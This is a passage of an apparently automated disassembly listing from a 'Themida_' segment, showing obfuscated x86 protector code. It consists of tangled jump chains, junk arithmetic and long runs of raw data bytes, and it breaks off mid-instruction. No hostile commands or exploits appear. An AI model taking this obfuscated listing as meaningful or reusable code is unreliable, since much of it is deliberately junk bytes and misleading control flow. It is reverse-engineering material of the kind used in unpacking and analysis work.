jmp loc_563016 ; --------------------------------------------------------------------------- db 53h, 89h, 0F3h dd 1C8BDA89h, 4C48324h, 8124348Bh, 4C4h, 5AD00100h, 4168D801h dd 89000000h, 68552434h, 72BA2F0Ah, 0FFCCAFE9h db 0FFh ; --------------------------------------------------------------------------- loc_55BA09: ; CODE XREF: Themida_:00563BFAj sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 push ebp push edx push 77EB66CCh jmp loc_560FB2 ; --------------------------------------------------------------------------- loc_55BA23: ; CODE XREF: Themida_:0055450Fj push dword ptr [esp] jmp loc_563FBC ; --------------------------------------------------------------------------- db 0B8h dd 7DF96B8Bh, 1C8BD831h, 4C48124h, 0E9000000h, 0C3A3h dd 81243C8Bh, 4C4h, 50E95300h, 8BFFFFB1h, 0C481242Ch, 4 dd 0FF8E9EE9h, 5AD028FFh, 4EC8351h, 0B7241C89h, 0F6C7FEF3h dd 0B65266DFh, 0B4E9E96Dh, 348B0000h, 0E19BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BA7E: ; CODE XREF: Themida_:0055C19Ej mov ecx, esi jmp loc_55C3AD ; --------------------------------------------------------------------------- db 58h, 2Ch, 0DDh dd 0DD04F028h, 24148B66h, 6802C483h, 7999h, 0B3241C89h dd 0E9C3FE59h, 60D9h, 4C4815Eh, 68000000h, 4F1Bh, 0BA241489h dd 3DC544B9h, 2299B951h, 5CE973DDh, 0C10000BAh, 843507E0h dd 12F42BCh, 6FE958C6h, 5A000073h, 94C5815Fh, 1799334h dd 94ED81CDh, 59799334h, 2C581h, 2C330000h, 242C3124h dd 935CE9h, 24048F00h, 8904EC83h, 5EE92414h, 0FFFFFF9Eh dd 2C8B2434h, 4C48124h, 68000000h, 71F8h, 89241C89h, 4C381E3h dd 81000000h, 4EBh, 241C8700h, 2404895Ch, 405E089h, 83000000h dd 43304C0h, 24043124h, 0E9240433h, 50B8h, 0E924048Fh dd 0FFFF762Ah, 0F80BA52h, 0D30135F1h, 0FFA971E9h, 0DCF781FFh dd 899BFE0Fh, 83455FFDh, 148904ECh, 0A1BF5724h, 891DFB78h dd 0A3C6E9FAh, 0D8B90000h, 8323A467h, 0DDE904ECh db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BB83: ; CODE XREF: Themida_:005599ADj xor [esp], eax xor eax, [esp] pop esp push ebx push 3212h jmp loc_560102 ; --------------------------------------------------------------------------- loc_55BB95: ; CODE XREF: Themida_:00567FFAj push dword ptr [esp+4] mov esi, [esp] add esp, 4 jmp loc_55BF3D ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E9F72900h, 8AE0h, 0FFFFEF81h, 0E7C1FFFFh, 0EF78106h dd 89F37F3Ah, 0C2815FFAh, 70E513F6h, 3DD7F281h, 0C2816389h dd 0FFFFFFFFh, 0A5B2E9h, 93E95300h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BBE3: ; CODE XREF: Themida_:00553BD4j add al, cl jmp loc_561231 ; --------------------------------------------------------------------------- dw 0F281h dd 0CFAA64C5h, 0FFE491E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BBF5: ; CODE XREF: Themida_:005574D4j not ebx xor ebx, 0C820D269h jmp loc_567A78 ; --------------------------------------------------------------------------- dw 0E8D1h dd 0E901E883h, 9CCDh, 577AC981h, 0E9814A88h, 2CBA6FBBh dd 874FF987h, 5617E9F9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BC22: ; CODE XREF: Themida_:00562365j pop eax add esp, 4 jmp loc_55CB97 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4B95100h, 0E9000000h, 17ACh ; --------------------------------------------------------------------------- loc_55BC3C: ; CODE XREF: Themida_:0055F198j xchg edx, [esp] pop esp push dword ptr [esp] push dword ptr [esp] jmp loc_5610DA ; --------------------------------------------------------------------------- db 0FFh dd 83582434h, 1EE904C4h, 81000086h, 4C4h, 241C3300h, 33241C31h dd 248B241Ch, 0C8B6624h, 0E3895324h, 4C381h, 0EC810000h dd 4, 5CDCE9h, 86685000h, 5809A17Ah, 427168h, 24048900h dd 53241C87h, 8B2414F7h, 0C483241Ch, 241C3104h, 31241C33h dd 0E1E9241Ch, 58FFFFDCh, 8DE9F388h, 8100003Dh, 4C7h, 0BFEDE900h dd 0E901FFFFh, 4C1815Dh, 51000000h, 42474FFh, 0DCE0E959h dd 0E3C1FFFFh, 0AEEB8106h, 817E8C76h, 48DAE4F3h, 0E9D8018Fh dd 0A9A8h, 19B85059h, 2D1BFE57h, 0D7180F1Ah, 158C729h dd 0FFC781CFh, 0E944E647h, 6DC6h, 4BDh, 5DE98900h, 8159CF01h dd 4C7h, 243C8700h, 0FFF623E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BD1D: ; CODE XREF: Themida_:005624A9j mov edx, 0FFFFFFFFh sub esi, edx jmp loc_56682B ; --------------------------------------------------------------------------- db 55h, 68h, 0FAh dd 5D51D507h, 48C58145h, 89B751FCh, 74015DEEh, 0E95E0824h dd 0A349h ; --------------------------------------------------------------------------- loc_55BD44: ; CODE XREF: Themida_:005667A5j and eax, ecx mov ecx, [esp] add esp, 4 or edx, eax shl edx, 1 sub esp, 4 mov [esp], eax push edi jmp loc_55A81D ; --------------------------------------------------------------------------- loc_55BD5C: ; CODE XREF: Themida_:00556F98j mov esi, [esp] add esp, 4 mov ebx, [esp] push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi jmp loc_5649B7 ; --------------------------------------------------------------------------- loc_55BD78: ; CODE XREF: Themida_:00567ACFj xor [edi+20h], esi xor esi, [edi+20h] jmp loc_5563FD ; --------------------------------------------------------------------------- loc_55BD83: ; CODE XREF: Themida_:005627C7j and ch, 0ECh push eax mov al, 0E8h xor ch, al jmp loc_55B53B ; --------------------------------------------------------------------------- dd 0FF6EA3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BD95: ; CODE XREF: Themida_:0056468Fj sub eax, ebp jmp loc_553E80 ; --------------------------------------------------------------------------- dd 20764F68h, 0A1E95F4Ah db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BDA7: ; CODE XREF: Themida_:00557562j mov esi, 4 push ebp mov ebp, 0EEC02E5h add edx, ebp jmp loc_55D1CD ; --------------------------------------------------------------------------- db 59h, 81h, 0C3h dd 3BDC3305h, 0EB81FB01h, 3BDC3305h, 0DD97E95Fh, 0B85DFFFFh dd 19867940h, 1129E605h, 2DF8292Ah, 2A1129E6h, 3E320D5Fh dd 87505A79h, 0D1F7240Ch, 0B4B9E9h db 0 ; --------------------------------------------------------------------------- loc_55BDF1: ; CODE XREF: Themida_:00560316j push ebp jmp loc_55A55C ; --------------------------------------------------------------------------- db 89h dd 0B5BA2414h, 2939D308h, 0E9815AD1h, 0C441C817h, 8159CE09h dd 0B75CE7EEh, 2C78111h, 812B3120h, 2E3A92C7h, 0E9F70160h dd 0FFFFB6FAh, 5AF18858h, 0E959CC88h, 57F3h, 53566851h dd 14890000h, 6B636824h, 0FEE9479Dh, 81FFFF72h, 0FA4F2FCFh dd 2E7C115h, 18CE781h, 0EFC12517h, 4EC8105h, 0E9000000h dd 0FFFF6F12h, 0BF57h, 0CF290000h, 69ACE9h, 59CE2800h dd 0DB15166h, 5966CE20h, 0F6A0CE80h, 0E9C6FED6h, 5238h dd 5450EB81h, 0E957111Eh, 8BA8h, 405E0C0h, 408341Ah, 3AB252C6h dd 0FFBDBEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55BEA1: ; CODE XREF: Themida_:00552DF5j mov ebx, 27921549h xchg esi, ebx dec esi jmp loc_55C3C0 ; --------------------------------------------------------------------------- dw 1C89h dd 4BB24h, 0DA010000h, 3359685Bh, 3C890000h, 4BF24h, 0C2810000h dd 41393B43h, 0EA81FA29h, 41393B43h, 5F2434FFh, 5E08950h dd 4, 405h, 24048700h, 3324248Bh, 14312414h, 24143324h dd 0EB8BE95Ch, 0E5C1FFFFh, 0FCCD8108h, 0E95DCC4Ch, 0A3ABh dd 0D51F8FBAh, 8BD38970h, 0C4832414h, 5E94B04h, 89000089h dd 68562404h, 0F81C51h, 0FFE2ABE9h, 6E6C1FFh, 0C101EE83h dd 0F68102EEh, 32D78C30h, 56B4E9h db 0 ; --------------------------------------------------------------------------- loc_55BF3D: ; CODE XREF: Themida_:0055BBA2j pop dword ptr [esp] mov esp, [esp] jmp loc_55581D ; --------------------------------------------------------------------------- dd 1D70B951h, 0C1816433h, 152A14C5h, 5AEEEA81h, 0CA0175C6h dd 5AEEC281h, 0E95975C6h, 182Fh, 0E84CBABAh, 1EA8137h dd 0E9000000h, 63AAh, 243C875Dh, 8237E9h, 81E18900h, 4C1h dd 4C18300h, 5C240C87h, 8904EC83h, 1BF243Ch, 0E9000000h dd 0FFFF9AE8h, 544F181h, 0C9817606h, 3E4571E0h, 8106E1C1h dd 53081C9h, 83F18114h, 19D5DFEh, 3C8759CFh, 8F665C24h dd 11682404h, 8900002Bh, 5A542414h, 4C281h, 0EA830000h dd 74FF5202h, 148B0424h, 4C48324h, 0FFDB92E9h, 40E0D1FFh dd 7048DA35h, 8BC3010Ah, 0C4832404h, 2434FF04h, 0FFAB85E9h dd 0E9DDF7FFh, 0FFFFDF9Dh ; --------------------------------------------------------------------------- loc_55C008: ; CODE XREF: Themida_:0055A96Fj sub ebx, 0C3E15D8h add [ebx], edx mov ebx, [esp] jmp loc_565BFE ; --------------------------------------------------------------------------- dd 4EC81h, 3C890000h, 0E59FE924h, 405FFFFh, 2D000000h dd 4, 5C240487h, 83242489h, 0E9042404h, 3F0Dh, 0E9240431h dd 6F36h, 5758C331h, 0D11471BFh, 81DFF765h, 7F401BC7h dd 0ACD7E9B8h, 0F829FFFFh, 0A8E95A5Fh, 59FFFF97h, 69A8EF81h dd 0C3810AE9h, 38D66B2Fh, 0F3E9FB01h db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C07B: ; CODE XREF: Themida_:00560D36j push ecx jmp loc_561CF7 ; --------------------------------------------------------------------------- loc_55C081: ; CODE XREF: Themida_:0056406Ej push dword ptr [esp] pop esi add esp, 4 mov [ebx], esi mov esi, [esp] add esp, 4 mov ebx, [esp] jmp loc_55AE8C ; --------------------------------------------------------------------------- loc_55C098: ; CODE XREF: Themida_:0055FB1Aj add ebx, 4B1E4230h mov eax, ebx mov ebx, [esp] push 4359h jmp loc_556E22 ; --------------------------------------------------------------------------- db 81h, 0E9h, 4 dd 68000000h, 2F26h, 0FF240C89h, 59042474h, 8B24048Fh dd 14892424h, 2474FF24h, 2434FF04h, 71CBE95Ah, 1C890000h dd 2474FF24h, 241C8B04h, 8F04C483h, 665C2404h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_555DC5 ; --------------------------------------------------------------------------- db 31h, 0F0h, 0E9h dd 0FFFFFF40h, 1D3BED81h, 0E94571D5h, 885h, 4C181h, 40E90000h dd 2D000035h, 7809597Bh, 7B05D029h, 8B780959h, 89502414h dd 405E0h, 56510000h, 896C7EBEh, 0A4F68122h, 8115C540h dd 0F967A1F6h, 40CE8102h, 55529E50h, 0BF5B7FBDh, 0B623E977h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C152: ; CODE XREF: Themida_:0055A890j xor ebp, ebx pop ebx sub ebx, ebp pop ebp push ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], cx movzx cx, al push cx pushf jmp loc_552C38 ; --------------------------------------------------------------------------- loc_55C17D: ; CODE XREF: Themida_:0055D42Ej and ebp, 386E3428h push ebp push eax jmp loc_563087 ; --------------------------------------------------------------------------- loc_55C18A: ; CODE XREF: Themida_:0055D28Cj mov edx, 64FF13A0h or esi, edx pop edx add esi, 0FFFFFFFFh push edx mov edx, 15271EB3h xor esi, edx pop edx jmp loc_55BA7E ; --------------------------------------------------------------------------- db 81h dd 0D2C988C3h, 0D6E9818Ch, 108A621h, 0D6C181D9h, 5B08A621h dd 4C181h, 0C870000h, 24248B24h, 88FD8851h, 0E959872Ch dd 0FFFFB002h, 8FE95150h, 53FFFF80h, 0BD555B54h, 55AF50E9h dd 1ED81h, 81450000h, 1EDh, 9A6CE900h, 0C781FFFFh, 4, 8704C783h dd 315C243Ch, 0C3815EF3h, 0D4E78EB2h, 2D1E9h db 0 ; --------------------------------------------------------------------------- loc_55C20D: ; CODE XREF: Themida_:0055588Aj inc edi jmp loc_5535CB ; --------------------------------------------------------------------------- loc_55C213: ; CODE XREF: Themida_:00554F8Aj add ecx, 0F7BB08C6h jmp loc_56592F ; --------------------------------------------------------------------------- dw 0E0C0h dd 30E03406h, 0C68658C6h, 0C686D0F6h, 177FE9h, 7B8EBB00h dd 0EB810D72h, 9B6034EBh, 815BDE29h, 1F9013F6h, 5EF529ACh dd 2C8BEE89h, 4C48324h, 6D76E9h, 55524600h, 0E73F9368h dd 0B9C5E96Fh, 0ED81FFFFh, 0FFFFFFFFh, 9621E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C26E: ; CODE XREF: Themida_:00558C56j add esi, 4 push ebx mov ebx, 4 add esi, ebx mov ebx, [esp] push edi mov edi, esp push 58E4h mov [esp], esi mov esi, 4 add edi, esi pop esi push edx mov edx, 771F0703h and edx, 5BEA774Bh add edx, 0ACF5F901h add edi, edx pop edx xchg edi, [esp] pop esp xchg esi, [esp] pop esp push dword ptr [esp] jmp loc_559424 ; --------------------------------------------------------------------------- aIxs9 db '‰åé9',0 dd 2C330000h, 0DE8FE924h, 0D629FFFFh, 0FFA6B6E9h, 3EBC1FFh dd 1F93CB81h, 0F3874AC7h, 3101C683h, 31DE31F3h, 68F3h dd 52E90000h, 8BFFFFB4h, 0C4832414h, 0DFE95304h, 81FFFF82h dd 4C5h, 8212E900h, 39B9FFFFh, 0E961404Bh, 0FFFFF900h dd 24048B66h, 0FF9A39E9h, 4C481FFh, 1000000h, 4EC81D8h dd 89000000h, 0A9BA2414h, 2944B81Dh, 0EDB8E9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C332: ; CODE XREF: Themida_:00556876j push dword ptr [esp] jmp loc_568115 ; --------------------------------------------------------------------------- loc_55C33A: ; CODE XREF: Themida_:0055D01Aj sub ecx, 4B4504EDh jmp loc_5550E7 ; --------------------------------------------------------------------------- db 68h, 67h, 17h dd 4890000h, 1B4CB824h, 0D0F713E8h, 71EAE940h, 0E3C1FFFFh dd 84C38107h, 5E01473h, 21A67472h, 0EAE9D801h, 10000B0h dd 0E9565AD6h, 0BCB1h, 0BB241C89h, 24762252h, 2AFEB81h dd 0C3810941h, 0E4CAE061h, 0E95BD801h, 3C54h ; --------------------------------------------------------------------------- loc_55C394: ; CODE XREF: Themida_:00565377j shl edx, 4 neg edx shl edx, 4 sub edx, 18DFA2FCh add ebx, edx pop edx sub ebx, 4 jmp loc_5545EF ; --------------------------------------------------------------------------- loc_55C3AD: ; CODE XREF: Themida_:0055BA80j pop esi push 74FAh jmp loc_56378B ; --------------------------------------------------------------------------- loc_55C3B8: ; CODE XREF: Themida_:005655A0j push dword ptr [esp] jmp loc_561809 ; --------------------------------------------------------------------------- loc_55C3C0: ; CODE XREF: Themida_:0055BEA9j xchg esi, ebx push 0D60h jmp loc_55C90D ; --------------------------------------------------------------------------- dd 0E9240C89h, 0FFFFB4B9h ; --------------------------------------------------------------------------- loc_55C3D4: ; CODE XREF: Themida_:0055DD44j add edx, 4 push eax push edx mov edx, 53AD1DE6h add edx, 18FD2587h sub edx, 0B74014Ah inc edx dec edx add edx, 9EC9BDE1h jmp loc_55DB55 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0B8240489h, 4, 6D48EB81h, 0C3017731h, 6D48C381h dd 53587731h, 0FF7CCEE9h, 0FFD029FFh, 535A2434h, 0C381E389h dd 4, 8704C383h, 0E95C241Ch, 0FFFF6800h ; --------------------------------------------------------------------------- loc_55C438: ; CODE XREF: Themida_:005551B5j push 753071DEh jmp loc_5574C4 ; --------------------------------------------------------------------------- loc_55C442: ; CODE XREF: Themida_:00562FC6j push dword ptr [esp] mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 55E5h mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_563A0B ; --------------------------------------------------------------------------- loc_55C476: ; CODE XREF: Themida_:00556A15j add eax, 4 xchg eax, [esp] pop esp pop dword ptr [esp] xor edi, ecx xor ecx, edi xor edi, ecx jmp loc_55F364 ; --------------------------------------------------------------------------- db 53h dd 0E2A68h, 0D1E95400h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C497: ; CODE XREF: Themida_:00556504j push 7638h jmp loc_55653C ; --------------------------------------------------------------------------- db 52h, 0BAh, 4 dd 1000000h, 0C7815AD7h, 4, 0E9243C87h, 65EDh, 0C486C181h dd 0C381D83Fh, 546730DDh, 0EB81CB01h, 546730DDh, 51240C8Bh dd 5AE9E189h db 0BCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C4D7: ; CODE XREF: Themida_:0056528Fj add ecx, edx jmp loc_55C5C5 ; --------------------------------------------------------------------------- dw 0DE01h dd 0B69E9h, 241C8700h, 1168555Ch, 8900001Ah, 4832424h dd 815D0424h, 4C5h, 4BA5200h, 0E9000000h, 6928h, 405h dd 0B91BE900h, 3C87FFFFh, 24248B24h, 0F748D8F7h, 4EC81D0h dd 89000000h, 0BF57240Ch, 48560923h, 415FF989h, 2981C981h dd 0E9410D08h, 491Fh, 311926B8h, 58C53121h, 0F703EDC1h dd 0FFC581DDh, 0E9FFFFFFh, 0FFFF8F24h, 251B850h, 0E8C11C52h dd 0BC670507h, 3BE9066Bh db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C567: ; CODE XREF: Themida_:0056776Aj push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] and ebx, edx pop edx or ebx, ebx jmp loc_56162A ; --------------------------------------------------------------------------- dd 0BF243C89h, 44A33640h, 0FEC7814Fh, 4777524Eh, 9DEAC781h dd 2E97920h, 8100003Ah, 316A29EDh, 2FD6E9FFh, 31AD0000h dd 51A2E9D8h, 0F9290000h, 0FCCE981h, 0E981594Bh, 5A613371h dd 7C6DE9h db 0 ; --------------------------------------------------------------------------- loc_55C5C5: ; CODE XREF: Themida_:0055C4D9j pop edx jmp loc_55F185 ; --------------------------------------------------------------------------- aWus db 'WUé]}',0 align 2 dw 0DD01h dd 4F57C581h, 6CE905E9h, 8B00006Fh, 0C4812404h, 4, 8CA7E9h dd 0D0005900h, 53C8045Ah, 0B9E9C4B7h, 31FFFF66h, 0F78159CFh dd 35EB7324h, 0FFD0A1E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C609: ; CODE XREF: Themida_:0055724Fj mov ebx, 0F785558h not ebx shl ebx, 5 push esi push ebp push 102B64D6h jmp loc_5549AC ; --------------------------------------------------------------------------- db 8Bh dd 54502404h, 3858E9h, 40685C00h, 89000011h, 6855243Ch dd 0EBA0FA3h, 0FFB27DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C63D: ; CODE XREF: Themida_:00560346j push ecx push 7AC612C3h jmp loc_55D69C ; --------------------------------------------------------------------------- loc_55C648: ; CODE XREF: Themida_:0055DA6Cj push dword ptr [esp] jmp loc_557EA4 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFFC5A9h, 68240489h, 306Dh, 3373E9h db 0 ; --------------------------------------------------------------------------- loc_55C665: ; CODE XREF: Themida_:00563C0Ej or ebp, 606C02BFh jmp loc_563E5A ; --------------------------------------------------------------------------- loc_55C670: ; CODE XREF: Themida_:0055B703j mov edi, 4D19772Dh xor eax, edi pop edi jmp loc_55B66C ; --------------------------------------------------------------------------- loc_55C67D: ; CODE XREF: Themida_:0056375Aj neg esi inc esi jmp loc_55E2A7 ; --------------------------------------------------------------------------- db 81h, 0EDh, 57h dd 0E905E94Fh, 0FFFFFF42h, 148B5452h, 4C48324h, 4EC81h dd 0BE90000h, 87FFFFF8h, 30E92404h, 0FEFFFFDCh, 5BF680CEh dd 921E9h db 0 ; --------------------------------------------------------------------------- loc_55C6B5: ; CODE XREF: Themida_:00555912j mov [esp], ecx not dword ptr [esp] pop ecx jmp loc_5597AB ; --------------------------------------------------------------------------- loc_55C6C1: ; CODE XREF: Themida_:00553376j add esp, 4 pop edi push ebp push 2DD3h mov [esp], edx jmp loc_559E29 ; --------------------------------------------------------------------------- db 81h dd 3E4288EFh, 8BFA2940h, 0C483243Ch, 0EDB85004h, 0E9022273h dd 9615h, 4C781h, 0EF810000h, 4, 1F4D68h, 243C8900h, 42474FFh dd 0FFDDE2E9h, 24048FFFh, 0FFCE95E9h, 0C6814EFFh, 0A011310Eh dd 0E95EF001h, 112Dh, 7CFDE952h, 48BFFFFh, 0E7895724h dd 68515653h, 765E0EDFh, 0E9240C8Bh, 3FB9h, 83D830ACh dd 148904ECh, 87E6824h, 0C890000h, 0E946B124h, 8631h, 0EB81F301h dd 0C1D1E44h, 8324348Bh, 0BBE904C4h, 40000028h, 10E28192h dd 813E8171h, 13014F2h, 0BFC58130h, 1348819h, 0D57BE9D5h dd 0BD55FFFFh, 264F1B76h, 304468h, 24148900h, 0C87BB53h dd 0EBC13026h, 81C38107h, 4B02DC3Ah, 0FFCD6FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C7A5: ; CODE XREF: Themida_:00567345j xor eax, [esp] jmp loc_566B6A ; --------------------------------------------------------------------------- db 55h, 0BDh, 68h dd 811A2E39h, 950267EDh, 0B6ED8163h, 8157F067h, 0C35907C5h dd 5DEA89E9h, 4414BF57h, 0FA2919D3h, 0BA52535Fh, 1320782Ah dd 7BE9D2F7h, 0BF0000B0h, 4, 0B1E9F801h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C7EB: ; CODE XREF: Themida_:00565C59j add esp, 4 jmp loc_567BA2 ; --------------------------------------------------------------------------- loc_55C7F3: ; CODE XREF: Themida_:005617D0j mov ebx, 4 jmp loc_564D17 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 326E9h, 8BE80100h, 0C483242Ch, 24048704h, 6624248Bh dd 1DE930FFh db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C81B: ; CODE XREF: Themida_:0056709Aj push eax mov eax, 29D76B31h sub edx, eax pop eax add edx, ebp sub esp, 4 mov [esp], edi mov edi, 29D76B31h add edx, edi pop edi pop ebp xchg edx, [esp] jmp loc_56101C ; --------------------------------------------------------------------------- db 29h, 0EFh, 0E9h dd 4603h, 0EA8C681h, 0DEF72FD0h, 8107E6C1h, 71BF1DEEh dd 0E9F08978h, 0FFFFE249h, 7124B068h, 241C8B58h, 4C481h dd 56500000h, 313583BEh, 4815606h, 8B618224h, 822D5807h dd 5E078B61h, 0C52DD0F7h, 0F7060C2Eh, 53D0F7D0h, 0D4B224BBh dd 5BD831D8h, 8158C301h, 874E41F3h, 4EC8183h, 89000000h dd 0EC83240Ch, 243C8904h, 0F989DF89h, 59CE895Fh, 4FBEE9h dd 5F545700h, 4C781h, 0C7830000h, 1260E904h, 16680000h dd 89000050h, 0E789243Ch, 4C781h, 0C7830000h, 243C8704h dd 669E9h, 47E95400h db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C8EB: ; CODE XREF: Themida_:00561BE8j mov ecx, 525540B7h and ecx, 240198Bh jmp loc_559281 ; --------------------------------------------------------------------------- loc_55C8FB: ; CODE XREF: Themida_:005572A8j push dword ptr [esp] push dword ptr [esp] jmp loc_553266 ; --------------------------------------------------------------------------- dw 0F800h dd 64C3E9h db 0 ; --------------------------------------------------------------------------- loc_55C90D: ; CODE XREF: Themida_:0055C3C7j mov [esp], eax mov eax, 77B3334Ah push edi mov edi, 0FFFFFFFFh add eax, edi mov edi, [esp] add esp, 4 push 611Ch mov [esp], edx push ebx push 2CE334D8h pop ebx or ebx, 66F6630Bh jmp loc_55D5DD ; --------------------------------------------------------------------------- db 89h, 0E3h, 81h dd 4C3h, 4EB8100h, 0E9000000h, 0FFFFD436h ; --------------------------------------------------------------------------- loc_55C950: ; CODE XREF: Themida_:00555079j add ebp, 4 xchg ebp, [esp] pop esp push 3585h mov [esp], eax sub esp, 4 mov [esp], esp push ebp mov ebp, esp add ebp, 4 jmp loc_555E34 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 30FDE9h db 0 ; --------------------------------------------------------------------------- loc_55C981: ; CODE XREF: Themida_:00556572j xchg edi, [esp] pop esp add ebp, 4 xchg ebp, [esp] pop esp jmp loc_556DEF ; --------------------------------------------------------------------------- db 83h, 0C5h, 1 dd 652268h, 6783E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C99E: ; CODE XREF: Themida_:005584A1j pop esp xchg ecx, [esp] jmp loc_5626E7 ; --------------------------------------------------------------------------- loc_55C9A7: ; CODE XREF: Themida_:00563071j add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp xor ebx, [esp] jmp loc_5566BA ; --------------------------------------------------------------------------- aHD db '[hßD',0 align 2 dw 0C89h dd 2474FF24h, 48F5904h, 24248B24h, 83240C8Bh, 3C8904ECh dd 947FE924h, 0DEF7FFFFh, 0F681DEF7h, 5292FCCh, 0BAC0C681h dd 0F589FCDEh, 2DE9455Eh, 66000058h, 0E9240C8Bh, 0FFFFBCAEh dd 0FFFFE981h, 0E9D1FFFFh, 7EAAC181h, 0C8896753h, 50240C8Bh dd 0BA52E089h, 4, 0E95AD001h, 6430h, 8035EA80h, 0D50029EAh dd 0FFEA69E9h, 2AC780FFh, 80DBF780h, 0C7FE83CFh, 0C095B151h dd 0D1F607E9h, 801DC980h, 56E995E9h, 810000B4h, 3253242Ch dd 81591105h, 53253C1h, 241C8B11h, 0FF9D7AE9h, 0FCEA81FFh dd 14A4181h, 26685AD6h, 0E900006Eh, 0A898h ; --------------------------------------------------------------------------- loc_55CA78: ; CODE XREF: Themida_:00565953j mov eax, 55B3296h shr eax, 4 not eax not eax jmp loc_5589A0 ; --------------------------------------------------------------------------- db 5Ah, 31h, 0C3h dd 80C9B551h, 8352CEE5h, 4DE904ECh, 6600007Dh, 0E924048Bh dd 0FFFFDE42h ; --------------------------------------------------------------------------- loc_55CAA4: ; CODE XREF: Themida_:00565472j mov [esp], eax mov eax, 400h mov ecx, eax mov eax, [esp] push 314h jmp loc_553ECF ; --------------------------------------------------------------------------- dd offset dword_445750+1718h align 10h dd 6A4E9h, 0F9C28100h, 1259067h, 34875AD6h, 61E95C24h db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CAD7: ; CODE XREF: Themida_:005670D0j mov al, 0C4h sub bl, al jmp loc_55EDD6 ; --------------------------------------------------------------------------- dd 3FC71A35h, 58C101A1h, 8B240C87h, 3CD22424h, 41E99C24h dd 0F7FFFF61h, 5EEE81D6h, 1F27751h, 0EA015EF5h, 81242C8Bh dd 4C4h, 81FA0100h, 0F0D7CEAh, 14875F51h, 24248B24h, 0FFE0F0E9h dd 73BAB8FFh, 1DE9187Ch, 81FFFFF5h, 4C4h, 4BD42D00h, 685346C4h dd 61C1h, 0BA241489h, 36AC773Ch, 0E4A2F4BBh, 5AD301CDh dd 0AC1EE9h, 247C2900h, 2434FF04h, 0E9243C8Bh, 0FFFFC512h dd 0BF243C89h, 5C5477EAh, 7626E981h, 0C1811019h, 4D097525h dd 3371C181h, 0C1815A61h, 594B0FCCh, 0FFFA2DE9h, 5AD301FFh dd 4C381h, 1C870000h, 0A1E95C24h db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CB97: ; CODE XREF: Themida_:0055BC26j mov edx, ebp pop ebp and eax, edx mov edx, [esp] add esp, 4 jmp loc_5627F6 ; --------------------------------------------------------------------------- loc_55CBAA: ; CODE XREF: Themida_:005614B5j mov edx, 663343C9h jmp loc_562166 ; --------------------------------------------------------------------------- dd 9234E94Fh, 0C483FFFFh, 45E28002h, 0E9D18851h, 484Bh dd 50C468ACh, 4CE90000h, 88000067h, 240C8BCAh, 4C481h dd 22E90000h, 810000A0h, 4C7h, 46B8E900h, 0BA660000h, 166E21Eh dd 0A588E9C2h, 6659FFFFh, 813AE95Bh, 3C8B0000h, 4C48124h dd 81000000h, 4C4h, 2C68100h, 87000000h, 248B2434h, 24D36624h dd 11E99C24h, 5AFFFF60h, 0FFCB9FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CC2D: ; CODE XREF: Themida_:00566F28j mov [esp], ebp jmp loc_554D8B ; --------------------------------------------------------------------------- loc_55CC35: ; CODE XREF: Themida_:00561F20j xor edi, edx jmp loc_5580F7 ; --------------------------------------------------------------------------- dd 2D08E8C1h, 535BCBB5h, 0F0E9C529h, 0BA000040h, 4, 875AD629h dd 895C2434h, 0FFE9242Ch db 85h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CC5F: ; CODE XREF: Themida_:00559453j mov edi, 65605BE9h or edi, 78D91500h shl edi, 1 not edi shr edi, 2 jmp loc_5618EF ; --------------------------------------------------------------------------- dw 0FBBh dd 31414C39h, 0D8E95BD8h, 41FFFF71h, 0E956D9F7h, 1A36h ; --------------------------------------------------------------------------- loc_55CC8C: ; CODE XREF: Themida_:00558D74j mov esi, 68411DA1h not esi sub esi, 0E25C4D8Fh sub eax, esi pop esi jmp loc_5587D4 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 4EC8156h, 0E9000000h, 568Bh ; --------------------------------------------------------------------------- loc_55CCB0: ; CODE XREF: Themida_:00562538j and eax, ecx pop ecx or eax, eax jz loc_55686C push 